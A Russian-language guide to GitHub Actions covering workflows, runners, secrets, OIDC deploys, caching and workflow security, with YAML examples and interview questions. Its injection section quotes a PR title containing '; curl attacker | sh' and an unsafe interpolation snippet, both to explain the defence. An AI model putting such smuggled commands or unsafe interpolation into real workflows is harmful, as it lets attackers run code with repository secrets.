GitHub Actions
CI/CD, который живёт рядом с кодом: YAML-воркфлоу, которые тестируют, собирают и деплоят на каждый push.
За 30 секунд
GitHub Actions запускает автоматические задачи (job), когда в репозитории что-то происходит: push, pull request, тег, расписание или нажатие кнопки. Задачи описываются в YAML-файлах в папке .github/workflows, а GitHub выполняет их на свежих виртуальных машинах — раннерах. Команды используют его, чтобы гонять тесты на каждый pull request, собирать Docker-образы, публиковать пакеты и деплоить на серверы или в облака без отдельного CI-продукта.
Не в моём ежедневном стеке — я понимаю принципы и изучу детали, когда это понадобится проекту.
Почему это важно
- Он избавляет от целой системы, которую надо обслуживать: если код уже на GitHub, CI/CD идёт вместе с репозиторием — без сервера, который надо патчить, и без плагинов, которые надо обновлять.
- Pull request-ы получают понятный зелёный или красный статус до merge, и сломанный код ловит машина, а не ревьюер или клиент.
- В Marketplace тысячи готовых action-ов (checkout, настройка языка, кэш, вход в облака), поэтому большинство пайплайнов собирается из готовых частей, а не пишется с нуля.
- OIDC federation позволяет воркфлоу деплоить в AWS, Google Cloud или Azure с короткоживущими токенами вместо долгоживущих облачных ключей в секретах.
Как это работает
01Базовые элементы: workflow, события, job-ы, step-ы
Workflow — это один YAML-файл в .github/workflows. Он начинается с on: — событий, которые его запускают: push, pull_request, workflow_dispatch (ручная кнопка) или schedule (cron). Workflow состоит из job-ов; каждый job выполняется на своём раннере — свежей машине, которую потом выбрасывают. По умолчанию job-ы идут параллельно; needs: заставляет один job ждать другой. Job — это список шагов (step). Шаг либо выполняет shell-команды через run:, либо использует готовый action через uses:, например actions/checkout, чтобы склонировать репозиторий. Представьте книгу рецептов: workflow — это книга, job-ы — рецепты, которые можно готовить одновременно на разных кухнях, а шаги — строки каждого рецепта. Поскольку каждый job стартует на чистой машине, между job-ами ничего не переносится, если вы явно не передадите это как артефакт, запись в кэше или output job-а.
- Workflow = файл, запускаемый событиями.
- Job = выполняется на одном раннере; параллельно, если needs: не говорит иначе.
- Step = shell-команда (run:) или action (uses:).
02Ваш первый CI-воркфлоу
Воркфлоу ниже запускается на каждый pull request и на push в main. Он забирает код, ставит Node.js с кэшированием зависимостей, встроенным в setup-node, устанавливает точные версии из lockfile через npm ci, затем запускает линтер и тесты. Две строки важнее, чем кажутся. permissions: contents: read ограничивает автоматический GITHUB_TOKEN правами только на чтение, так что скомпрометированный шаг не сможет запушить код. concurrency отменяет более старый запуск той же ветки, когда приходит новый коммит, — это экономит минуты и избавляет от путаницы в результатах. Версии action-ов указаны как @v7 — тег мажорной версии. Для action-ов, которые публикует сам GitHub, это разумный вариант по умолчанию; сторонние action-ы закрепляйте полным SHA коммита — об этом ниже.
name: CI
on:
pull_request:
push:
branches: [main]
permissions:
contents: read
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
- uses: actions/setup-node@v7
with: { node-version: 24, cache: npm }
- run: npm ci
- run: npm run lint && npm test
03Раннеры: GitHub-hosted, larger и self-hosted
Раннер — это машина, которая выполняет job. GitHub-hosted раннеры (ubuntu-latest, windows-latest, macos-latest и ARM-варианты) — это свежие VM на каждый job, которые патчит GitHub; для приватных репозиториев они оплачиваются поминутно, публичные получают стандартные размеры бесплатно. Larger-раннеры дают больше CPU и RAM, статические диапазоны IP и варианты с GPU за большие деньги. Self-hosted раннеры — это ваши собственные машины или поды Kubernetes с агентом раннера; вы выбираете их по меткам, например runs-on: [self-hosted, linux]. Они полезны, когда нужно особое железо, доступ в приватную сеть или более дешёвые вычисления в больших объёмах. Цена — патчи, масштабирование и очистка теперь на вас. Самое важное: никогда не подключайте self-hosted раннер к публичному репозиторию, потому что любой, кто откроет pull request, сможет выполнить код на вашей машине. Для автомасштабирования Actions Runner Controller (ARC) создаёт эфемерные поды-раннеры в Kubernetes по запросу.
04Секреты, переменные и environments
Секреты — это зашифрованные значения (API-токены, SSH-ключи), которые хранятся в настройках репозитория, environment или организации и читаются в YAML как ${{ secrets.NAME }}. GitHub маскирует их в логах, но маскирование — это не безопасность: шаг, который закодирует секрет в base64, выведет его в открытом виде. Переменные (${{ vars.NAME }}) предназначены для несекретной конфигурации, например названия региона. Environments (например, staging и production) группируют секреты и добавляют правила защиты: обязательных ревьюеров, таймер ожидания и список веток, которым разрешён деплой. Job, объявивший environment: production, встаёт на паузу, пока аппрувер не нажмёт approve, и только тогда может читать секреты production. Секреты не передаются в воркфлоу, запущенные pull request-ами из форков, — это защищает от посторонних, которые захотят их вытащить. Для облаков предпочитайте OIDC: воркфлоу запрашивает подписанный identity-токен и обменивает его на короткоживущие облачные credentials, так что нет облачного ключа, который может утечь или который надо ротировать.
05Matrix-сборки, кэш и артефакты
Matrix запускает один и тот же job на разных комбинациях — например, три версии Node на двух операционных системах дают шесть параллельных job-ов из пары строк. Ставьте fail-fast: false, если хотите увидеть все упавшие комбинации, а не отменять остальные при первом падении. Кэш экономит скачивание зависимостей между запусками: у setup-action-ов для Node, Python, Java и Go есть input cache, а actions/cache подходит для всего остального, с ключом по хэшу lockfile, чтобы кэш обновлялся при изменении зависимостей. Артефакты — другое: это файлы, которые производит job (папка сборки, отчёты тестов, coverage), и вы загружаете их для других job-ов или чтобы люди могли их скачать, с периодом хранения. Правило: кэшируйте то, что можно пересобрать, чтобы сэкономить время; загружайте артефакты, когда нужен точный результат именно этого запуска.
jobs:
test:
runs-on: ${{ matrix.os }}
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, windows-latest]
node: [20, 22, 24]
steps:
- uses: actions/checkout@v7
- uses: actions/setup-node@v7
with:
node-version: ${{ matrix.node }}
cache: npm
- run: npm ci && npm test
06Deploy-job с аппрувом и OIDC
Типичный пайплайн тестирует каждый pull request, а деплоит только из main. Deploy-job ниже ждёт test-job через needs:, запускается только в main благодаря if: и привязан к environment production, поэтому требует аппрува и может читать секреты, доступные только production. permissions: id-token: write позволяет job-у запросить OIDC-токен, который action входа в облако обменивает на временные credentials роли, настроенной доверять только этому репозиторию и ветке. ARN роли не секрет, но храните его в переменной, чтобы файл оставался универсальным. Сам деплой здесь — скрипт-заглушка; это может быть helm upgrade, rsync или вызов CLI хостинг-провайдера.
deploy:
needs: test
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
environment: production
permissions:
contents: read
id-token: write
steps:
- uses: actions/checkout@v7
- uses: aws-actions/configure-aws-credentials@v6
with:
role-to-assume: ${{ vars.DEPLOY_ROLE_ARN }}
aws-region: eu-central-1
- run: ./scripts/deploy.sh
Когда применять
- Код уже на GitHub, и нужен CI/CD без ещё одного сервера.
- Open-source проекты, которым нужен бесплатный CI на Linux, Windows и macOS для каждого pull request.
- Небольшие и средние команды, которые хотят управлять пайплайнами, аппрувами и секретами в одном месте с кодом.
- Автоматизация рутины репозитория помимо CI: метки на issues, публикация релизов, задачи по расписанию.
Когда не стоит
- Код живёт в GitLab, Bitbucket или на self-hosted Git-сервере — используйте родной CI этой платформы, а не зеркалирование.
- Очень тяжёлые и долгие сборки, где поминутная оплата hosted-раннеров становится дорогой, а желания поддерживать self-hosted раннеры нет.
- Строго изолированные (air-gapped) среды, где ни один внешний SaaS не должен касаться кода (GitHub Enterprise Server может помочь, но это более серьёзное решение).
Альтернативы
- GitLab CI/CD
Встроен в GitLab: стадии, environments и сильный self-hosted вариант.
- Jenkins
Self-hosted, бесконечно расширяемый плагинами; больше контроля, больше обслуживания.
- CircleCI / Buildkite
Специализированные CI-сервисы; Buildkite запускает агентов на вашей инфраструктуре.
- Build-хуки платформ
Vercel, Netlify или Render собирают по push простые веб-приложения без собственного пайплайна.
Лучшие практики
- Задавайте на верхнем уровне permissions: contents: read и выдавайте больше прав только тем job-ам, которым это нужно.
- Закрепляйте сторонние action-ы полным SHA коммита и пусть Dependabot или Renovate предлагают обновления.
- Используйте OIDC для деплоя в облака вместо долгоживущих access key в секретах.
- Защищайте production через environment с обязательными ревьюерами и разрешением только для ветки main.
- Добавляйте concurrency-группы, чтобы новые коммиты отменяли устаревшие запуски, а два деплоя никогда не пересекались.
- Кэшируйте зависимости по хэшу lockfile и держите job-ы небольшими, чтобы падения быстро читались.
- Выносите повторяющиеся пайплайны в reusable workflows или composite actions вместо копипасты YAML.
Частые ошибки
- Использовать pull_request_target и делать checkout кода из pull request — так недоверенный код выполняется с секретами и правами на запись.
- Подставлять ${{ github.event.pull_request.title }} прямо в скрипты run:, что открывает shell injection; передавайте значение через env-переменную.
- Оставлять токен по умолчанию с правами на запись в каждом job-е.
- Self-hosted раннеры в публичных репозиториях или постоянные раннеры, которые хранят файлы и credentials между job-ами.
- Ожидать, что файлы одного job-а окажутся в следующем без загрузки артефакта.
Глубже
07Reusable workflows против composite actions
Два способа перестать копипастить YAML. Composite action упаковывает несколько шагов в один action.yml; вызывающие используют его как один шаг, поэтому он выполняется внутри job-а вызывающего и разделяет его раннер и файловую систему. Это идеально для последовательности настройки: установить тулчейн, восстановить кэш, залогиниться. Reusable workflow — это целый воркфлоу с on: workflow_call, inputs и secrets; вызывающие ссылаются на него на уровне job-а через uses: org/repo/.github/workflows/deploy.yml@ref. Он может содержать несколько job-ов, environments и свои раннеры, поэтому это правильный инструмент для стандартного пайплайна, которому должен следовать каждый сервис. Секреты нужно передавать явно или через secrets: inherit. Вложенность ограничена (несколько уровней), и вызывающий может только сузить, но не расширить права вызываемого воркфлоу. Платформенная команда часто публикует reusable workflows из центрального репозитория и принуждает к ним через required workflows или rulesets.
# .github/workflows/deploy.yml (reusable)
on:
workflow_call:
inputs:
environment: { type: string, required: true }
secrets:
DEPLOY_TOKEN: { required: true }
jobs:
deploy:
runs-on: ubuntu-latest
environment: ${{ inputs.environment }}
steps:
- uses: actions/checkout@v7
- run: ./scripts/deploy.sh "${{ inputs.environment }}"
env:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
08Доверие OIDC: как на самом деле работают деплои без ключей
Когда у job-а есть id-token: write, раннер может запросить у токен-сервиса GitHub JSON Web Token, подписанный GitHub. Claims токена описывают запуск: репозиторий, ref, environment, воркфлоу и инициатора. Claim sub выглядит как repo:your-org/your-repo:environment:production. В облаке вы регистрируете GitHub как identity provider и создаёте роль, чья trust policy принимает токены только с определённым audience и sub. Облако проверяет подпись, claims и возвращает credentials, которые истекают примерно через час. Безопасность ровно настолько хороша, насколько хорошо это условие: trust policy, совпадающая с repo:your-org/*, позволяет любому репозиторию организации взять production-роль. Привязывайте production-роли к claim environment, чтобы деплоить могли только job-ы, прошедшие правила аппрува этого environment. Организации также могут настроить claim sub, добавив больше полей, например ссылку на workflow job-а.
09Безопасность воркфлоу: инъекции и недоверенные триггеры
Две классические дыры — инъекция в скрипт и привилегированные триггеры. Выражения вроде ${{ github.event.issue.title }} подставляются в текст скрипта до запуска shell, поэтому заголовок с «; curl attacker | sh» становится кодом. Решение: передавайте недоверенные значения через env: и обращайтесь к ним как к обычным shell-переменным, которые shell воспринимает как данные. Вторая дыра — pull_request_target и workflow_run: они по задумке работают в контексте базового репозитория с секретами и токеном на запись, чтобы можно было ставить метки или комментировать pull request-ы из форков. Если такой воркфлоу выкачивает и собирает код форка, этот код выполняется с теми же привилегиями. Держите привилегированные воркфлоу свободными от недоверенного кода или разделяйте работу: непривилегированный pull_request-воркфлоу собирает и загружает результаты, а привилегированный только читает артефакт как данные. Инструменты вроде zizmor или actionlint автоматически находят такие паттерны в CI.
# Unsafe: title is pasted into the script
- run: echo "${{ github.event.pull_request.title }}"
# Safe: title arrives as data in an env var
- run: echo "$PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
10Скорость и стоимость на масштабе
Время пайплайна — это время разработчиков. Сначала измерьте: сводка запуска показывает длительность каждого job-а. Частые выигрыши: запускать линтер, unit-тесты и проверку типов параллельными job-ами; использовать фильтры paths, чтобы изменение в документации не гоняло весь набор тестов бэкенда; кэшировать зависимости и слои Docker (docker/build-push-action поддерживает cache-to и cache-from с type=gha); делить большие наборы тестов на шарды через matrix. Отменяйте устаревшие запуски через concurrency. В монорепозиториях вычисляйте затронутые пакеты и запускайте только их. По стоимости минуты Linux самые дешёвые, а минуты Windows и macOS стоят в несколько раз дороже, так что оставляйте там только то, что действительно этого требует. Когда hosted-минуты превращаются в большой счёт, автомасштабируемые эфемерные self-hosted раннеры через Actions Runner Controller на spot-инстансах могут снизить расходы, но тогда безопасность этих машин и сетей, к которым у них есть доступ, — на вас.
Реальные ситуации
CI идёт 25 минут на каждый pull request
Проблема
Команда почти полчаса ждёт проверок на каждом pull request. Разработчики начинают мержить, не дожидаясь, а нестабильные падения игнорируются.
Как решить
Посмотрите таймлайн запуска и найдите самые медленные job-ы. Разбейте один большой job на параллельные lint, typecheck, unit и e2e. Включите кэширование зависимостей в setup-node и кэш слоёв Docker с type=gha. Разделите медленный набор тестов на четыре matrix-job-а с помощью опции shard у тест-раннера. Добавьте фильтры paths, чтобы изменения только во фронтенде пропускали job-ы бэкенда. Добавьте concurrency-группу с cancel-in-progress, чтобы новые push-и отменяли старые запуски. Вынесите нестабильные тесты в отдельный неблокирующий job и чините их по одному. Типичный результат: меньше десяти минут и обязательные проверки, которым снова доверяют.
Убираем долгоживущие ключи AWS из репозитория
Проблема
Деплой использует access key и secret, сохранённые в секретах репозитория много лет назад. Никто не знает, кто их создал, а прав у них много.
Как решить
Добавьте GitHub как OIDC identity provider в AWS IAM с audience sts.amazonaws.com. Создайте deploy-роль только с теми правами, которые нужны деплою, и trust policy с условием sub repo:your-org/your-repo:environment:production. В воркфлоу добавьте deploy-job-у permissions: id-token: write, используйте aws-actions/configure-aws-credentials с role-to-assume и уберите inputs с ключами. Запустите деплой и убедитесь, что всё работает. Затем деактивируйте старый access key, подождите несколько дней — вдруг что-то ещё от него зависит, — и удалите его вместе с секретами репозитория.
Десять репозиториев с немного разными пайплайнами
Проблема
У каждого сервиса своя скопированная версия воркфлоу. Исправление безопасности в шагах деплоя приходится делать десять раз, и какие-то репозитории всегда забывают.
Как решить
Создайте центральный репозиторий с reusable workflows для test, build и deploy, принимающими inputs вроде node-version и environment. Версионируйте их тегами, и пусть каждый сервис вызывает их на уровне job-а через uses: your-org/ci/.github/workflows/deploy.yml@v1. Общие шаги настройки вынесите в composite action. Внедряйте постепенно: замените воркфлоу одного сервиса, проверьте, затем остальные. Используйте rulesets организации, чтобы требовать стандартные проверки перед merge. Будущие исправления — это одно изменение и новый тег, а Dependabot может обновлять вызывающих.
Шпаргалка
- Ручной запуск
on: workflow_dispatch- Ночное расписание (UTC)
on: { schedule: [{ cron: "0 3 * * *" }] }- Токен только на чтение по умолчанию
permissions: { contents: read }- Отменять устаревшие запуски
concurrency: { group: ci-${{ github.ref }}, cancel-in-progress: true }- Запуск только в main
if: github.ref == 'refs/heads/main'- Пропускать изменения только в документации
on: { push: { paths-ignore: ["docs/**", "**.md"] } }- Передать данные следующим шагам
echo "version=1.2.3" >> "$GITHUB_OUTPUT"- Запустить воркфлоу из CLI
gh workflow run ci.yml --ref main- Следить за последним запуском
gh run watch- Линтинг файлов воркфлоу
actionlint .github/workflows/*.yml
Вопросы и ответы
Q1Чем job отличается от step?
Job — это единица работы, которая выполняется на одном раннере, одной свежей машине. Job-ы в воркфлоу по умолчанию идут параллельно, а порядок задаётся через needs:. Step — это один пункт внутри job-а: либо shell-команда через run:, либо переиспользуемый action через uses:. Шаги в job-е выполняются по порядку и разделяют одну файловую систему и окружение, так что шаг может использовать файлы, созданные предыдущим. Job-ы файловую систему не разделяют; чтобы передать данные между ними, используют артефакты, кэш или outputs job-ов. На практике я делю работу на job-ы, когда нужен параллелизм или отдельная граница прав, и на шаги, когда действия тесно зависят друг от друга.
Q2Как обезопасить секреты в GitHub Actions?
В несколько слоёв. Храните секреты в настройках репозитория, environment или организации, никогда в YAML. Кладите секреты production в защищённый environment, чтобы их могли читать только одобренные job-ы из main. Делайте GITHUB_TOKEN по умолчанию только для чтения. Для доступа к облакам предпочитайте OIDC, чтобы долгоживущего ключа не было вовсе. Не печатайте и не преобразуйте секреты в логах, потому что маскирование ловит только точную строку. Не используйте pull_request_target с выкачанным кодом форка и никогда не подставляйте недоверенные данные события прямо в shell-скрипты. Наконец, закрепляйте сторонние action-ы по SHA коммита: используемый action работает с доступом к тем же секретам, что и ваши шаги.
Q3Кэш или артефакт: что выбрать?
Они решают разные задачи. Кэш — это оптимизация: он хранит то, что можно пересобрать, например скачанные npm-пакеты, с ключом вроде хэша lockfile. Если кэша нет, job всё равно работает, просто медленнее. Артефакт — это результат конкретного запуска: скомпилированная сборка, отчёты тестов или файл coverage. Вы загружаете его, чтобы следующий job использовал именно этот результат или чтобы человек мог его скачать. Хороший тест: если потеря сломает корректность — это артефакт; если стоит только времени — это кэш. Кэши ещё и ограничены веткой: pull request-ы могут читать кэш ветки main, но не кэши друг друга.
Q4Как работает matrix-сборка и когда она оправдана?
Matrix берёт списки значений, например операционные системы и версии языка, и создаёт по job-у на каждую комбинацию. Три версии Node на двух системах превращаются в шесть параллельных job-ов. Это оправдано для библиотек и инструментов, которые пользователи запускают в разных окружениях: так до релиза ловятся баги, специфичные для версий. Для приложения, которое работает на одной версии Node в одном Docker-образе, matrix в основном сжигает минуты — тестируйте ту версию, которую поставляете. Используйте include и exclude, чтобы добавить или убрать конкретные комбинации, fail-fast: false, чтобы видеть все падения, и max-parallel, если надо ограничить нагрузку на общий сервис.
Q5Зачем закреплять action-ы по SHA коммита, а не по тегу вроде v4?
Тег — это подвижный указатель. Если репозиторий action-а скомпрометируют, атакующий может перевесить тег на вредоносный код, и каждый использующий его воркфлоу при следующей сборке выполнит этот код с вашими секретами. Такое случалось в реальных supply-chain инцидентах. Полный 40-символьный SHA коммита неизменяем, так что вы запускаете ровно тот код, который проверили. Минус — ручные обновления, и эту проблему решают Dependabot или Renovate, открывая pull request-ы с новым SHA и комментарием с версией. Для action-ов, которые поддерживает сам GitHub, многие команды принимают мажорные теги; для всего стороннего закрепление по SHA — более безопасный вариант по умолчанию.
Q6Как задеплоить на сервер из GitHub Actions?
Сначала решите, что именно переезжает: обычно Docker-образ, запушенный в registry, или собранный артефакт. Воркфлоу тестирует, собирает и пушит образ с тегом SHA коммита. Затем deploy-job, привязанный к защищённому environment production, говорит серверу скачать и перезапустить именно этот тег — например, по SSH с отдельным deploy-ключом с ограниченными правами или через облачный API с OIDC credentials. Добавьте concurrency-группу, чтобы два деплоя не пересекались, health check после перезапуска и простой путь отката, например повторный деплой предыдущего SHA. Держите логику деплоя в скрипте в репозитории, чтобы его можно было запускать и тестировать и вне CI.
Вопросы уровня senior
S1Как бы вы спроектировали CI/CD-governance для организации с 200 репозиториями на GitHub?
Я бы централизовал паттерны и децентрализовал ответственность. Платформенный репозиторий публикует версионированные reusable workflows для build, test, scan и deploy, плюс composite actions для настройки. Rulesets организации требуют определённых status checks и, где доступно, required workflows, чтобы одна команда не могла убрать сканирование безопасности. Политика организации ограничивает разрешённые action-ы: собственные GitHub, проверенные авторы и allowlist сторонних action-ов, закреплённых по SHA. Права токена по умолчанию на уровне организации — только чтение. Доступ к облакам — через OIDC с trust policies, привязанными к claims репозитория и environment. Раннеры для большей части работы — GitHub-hosted, а для job-ов, которым нужен приватный доступ, — эфемерные раннеры под управлением ARC в изолированных сетях. Компромисс — меньше свободы отдельным командам, поэтому общие воркфлоу должны быть хорошими, документированными и быстрыми, иначе команды начнут их обходить.
S2Какие риски у self-hosted раннеров и как запускать их безопасно?
Раннер выполняет всё, что скажет воркфлоу, так что по сути это remote code execution для любого, кто может запустить воркфлоу. Риски: вредоносный pull request в публичном репозитории, сохранение состояния между job-ами (один job оставляет бэкдор, у следующего крадут секреты) и горизонтальное перемещение по сети, в которой стоит раннер. Безопасная эксплуатация означает: никогда в публичных репозиториях; эфемерные раннеры, которые берут ровно один job и уничтожаются, обычно через Actions Runner Controller или автомасштабируемые VM; группы раннеров, ограниченные конкретными репозиториями; минимальный сетевой доступ с контролем egress; никаких облачных instance-ролей с широкими правами на хосте раннера; регулярная пересборка образов. Компромисс по сравнению с hosted-раннерами: с одной стороны контроль и стоимость, с другой — обслуживание парка машин, чувствительного с точки зрения безопасности.
S3Как гарантировать, что задеплоено именно то, что протестировал CI?
Собирай один раз, продвигай много раз. CI собирает один артефакт, обычно контейнерный образ, тегирует его SHA коммита, пушит в registry и дальше ссылается на него по неизменяемому digest. Тесты запускаются против этого образа. Деплои в staging и production тянут тот же digest, а не пересобирают, так что шанса, что позже разрезолвится другая зависимость, нет. Добавьте provenance: GitHub artifact attestations (на базе Sigstore) позволяют подписать утверждение о происхождении сборки, связывающее digest образа с воркфлоу, репозиторием и коммитом. Шаг деплоя или admission controller проверяет attestation перед запуском. Цена — дополнительная сложность пайплайна и место в registry; выгода — проверяемая цепочка от коммита до работающего кода, которую ценят аудиторы и те, кто разбирает инциденты.
Глоссарий
- Workflow
- YAML-файл в .github/workflows, описывающий автоматические job-ы и события, которые их запускают.
- Runner
- Машина, выполняющая job: GitHub-hosted VM или ваша собственная self-hosted машина.
- Action
- Переиспользуемый упакованный шаг, на который ссылаются через uses:, например actions/checkout.
- GITHUB_TOKEN
- Автоматический короткоживущий токен для каждого запуска, права которого вы ограничиваете в воркфлоу.
- Environment
- Именованная цель деплоя со своими секретами и правилами защиты, например обязательными ревьюерами.
- OIDC
- OpenID Connect: job подтверждает свою личность подписанным токеном, чтобы получить временные облачные credentials.
- Matrix
- Стратегия, которая параллельно запускает один job на множестве комбинаций значений.
- Artifact
- Файл, созданный запуском и загруженный для следующих job-ов или для скачивания.
- Reusable workflow
- Воркфлоу, запускаемый через workflow_call, чтобы другие воркфлоу могли вызывать его как job.
Что изучить дальше
Есть идея продукта?Давайте создадим его.
Расскажите о своей идее, продукте или команде. Обычно отвечаю в течение одного рабочего дня.